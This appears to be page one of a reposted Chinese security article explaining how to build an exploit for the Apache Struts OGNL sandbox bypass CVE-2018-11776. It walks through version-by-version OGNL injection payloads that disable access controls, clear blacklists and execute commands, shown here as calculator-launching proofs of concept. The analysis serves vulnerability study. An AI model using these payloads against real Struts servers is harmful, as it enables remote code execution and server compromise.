安全黑客
当前位置:安全黑客文章资讯安全资讯安全新闻
日期:2018-12-03 23:12:00  来源:本站整理

CVE-2018-11776: Apache Struts OGNL沙箱绕过[安全新闻]

赞助商链接



  本文“CVE-2018-11776: Apache Struts OGNL沙箱绕过[安全新闻]”是由安全黑客为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:

本文讲述如何构建CVE-2018-11776的漏洞利用。
Struts OGNL利用史
首先介绍一些背景和概念以帮助理解OGNL利用的过程。首先介绍下OGNL的基本概念。
OGNL执行环境
在Struts的中,OGNL可以使用#符号访问全局对象。本文介绍一些可以访问的对象,其中列出的对象中有两个对构建exp非常关键。第一个对象是 _memberAccess,这是用来控制OGNL 行为的SecurityMemberAccess对象,另一个是context,这是允许访问更多的其他对象的context图。获取对 _memberAccess的访问权限可以轻易地修改SecurityMemberAccess 的安全设置。比如:
#_memberAccess['allowStaticMethodAccess']=true会修改_memberAccess中的设置。
@java.lang.Runtime@getRuntime().exec('xcalc')会弹出一个计算器。
SecurityMemberAccess
Struts用_memberAccess来控制OGNL中允许的行为。最开始使用一些布尔变量(allowPrivateAccess, allowProtectedAccess, allowPackageProtectedAccess, allowStaticMethodAccess)来提供对OGNL访问Java classes方法和成员的访问。默认情况下,这些设置都是false。在之后的版本中,出现了用于拒绝对特定类和package进行访问的3个黑名单,分别是:
· excludedClasses
· excludedPackageNames
· excludedPackageNamePatterns。
不允许使用静态方法,但允许任意构造器(2.3.20之前版本)
默认情况下,_memberAccess 会进行配置会预防对静态、私有和受保护的方法的访问。但是在2.3.14.1版本之前,这可以通过提取#_memberAccess和修改其中的设置来轻松绕过。许多漏洞利用都使用了这样的方法,比如:
 (#_memberAccess['allowStaticMethodAccess']=true).(@java.lang.Runtime@getRuntime().exec('xcalc'))

在2.3.14.1及之后版本,allowStaticMethodAccess变成了final,并且不能再修改。但是 _memberAccess允许构造任意类和访问公有方法,执行任意代码就不需要修改中 _memberAccess的设置了:
(#p=new java.lang.ProcessBuilder('xcalc')).(#p.start())
这在2.3.20之前版本都适用。

没有静态方法,没有构建函数,但是允许访问任意类(2.3.20-2.3.29)
在2.3.20版本中,将excludedClasses, excludedPackageNames和excludedPackageNamePatterns类加入了黑名单。另一个变化是拒绝所有constructor调用。这会杀掉ProcessBuilder payload,从这点看,静态方法和constructors都是不允许的,这会对OGNL的功能做出限制。但_memberAccess仍然是可以访问的,静态对象DefaultMemberAccess也是可以访问的。
DefaultMemberAccess对象是默认SecurityMemberAccess的一个版本,SecurityMemberAccess允许静态方法和构造函数。所以用DefaultMemberAccess替换_memberAccess就可以了。
#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(@java.lang.Runtime@getRuntime().exec('xcalc')
这在2.3.29版本之前都是适用的,而且这是最近的一个利用的重要部分。
对_memberAccess和类不再限制(2.3.30/2.5.2+)
最后, _memberAccess这些简单的技巧都不能用了。类ognl.MemberAccess和 ognl.DefaultMemberAccess都被加入黑名单了。下面看以下如何绕过:
#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('xcalc')
首先注意该利用并不会尝试到达_memberAccess。而是OgnlUtil获取的实例,并清除黑名单。那是怎么做到的呢?首先从context map中获取Container,其中含有以下key:

Key com.opensymphony.xwork2.ActionContext.container会给出OGNL执行环境中Container的实例:

 getInstance 方法会尝试创建一个类OgnlUtil的实例,但因为是singleton(单例模式),所以会返回现有的全局实例。

为了了解全局OgnlUtil对象中的excludedClasses与 _memberAccess对象的关系,下面看一下_memberAccess是如何初始化的。
当请求到达时,调用createActionContext方法来创建新的ActionContext。

最终调用OgnlValueStack的setOgnlUtil方法来初始化OgnlValueStack的securityMemberAccess和OgnlUtil的全局实例。
 

从下面的例子中可以看出,securityMemberAccess和 _memberAccess是一样的。

[1] [2]  下一页


  以上是“CVE-2018-11776: Apache Struts OGNL沙箱绕过[安全新闻]”的内容,如果你对以上该文章内容感兴趣,你可以看看安全黑客为您推荐以下文章:
  • CVE-2018-17612漏洞报告
  • CVE-2018-19788:UID大于INT_MAX的Linux用户任意代码执行漏洞
  • CoolPlayer bypass DEP(CVE-2008-3408)分析
  • APT攻击利用Adobe Flash 0day漏洞分析(CVE-2018-15982)
  • Cisco Webex Meetings桌面应用特权提升漏洞分析(CVE-2018-15442)
  • CVE-2015-2370之DCOM DCE/RPC协议原理详细分析
  • CVE-2018-11776: Apache Struts OGNL沙箱绕过
  • 一个CVE-2017-11882漏洞新变异样本的调试与分析
  • ImageMagick内存泄漏漏洞分析(CVE-2018-16323)
  • Windows VBScript引擎远程执行代码漏洞 之CVE-2018-8373分析与复现
  • Apple设备多个安全漏洞原理与修复方式分析(CVE-2017-13890、CVE-2018-4176、CVE-2018-4175)
  • CVE-2018-4277:一“丿”引发的欺骗
  • 本文地址: 与您的QQ/BBS好友分享!

    文章评论评论内容只代表网友观点,与本站立场无关!

       评论摘要(共 0 条,得分 0 分,平均 0 分) 查看完整评论
    免责条款 - 广告合作 - 下载声明 - 欢迎投稿 - 友情连接 - 网站地图 -
    Copyright © 2012-2013 www.110hack.com. All Rights Reserved .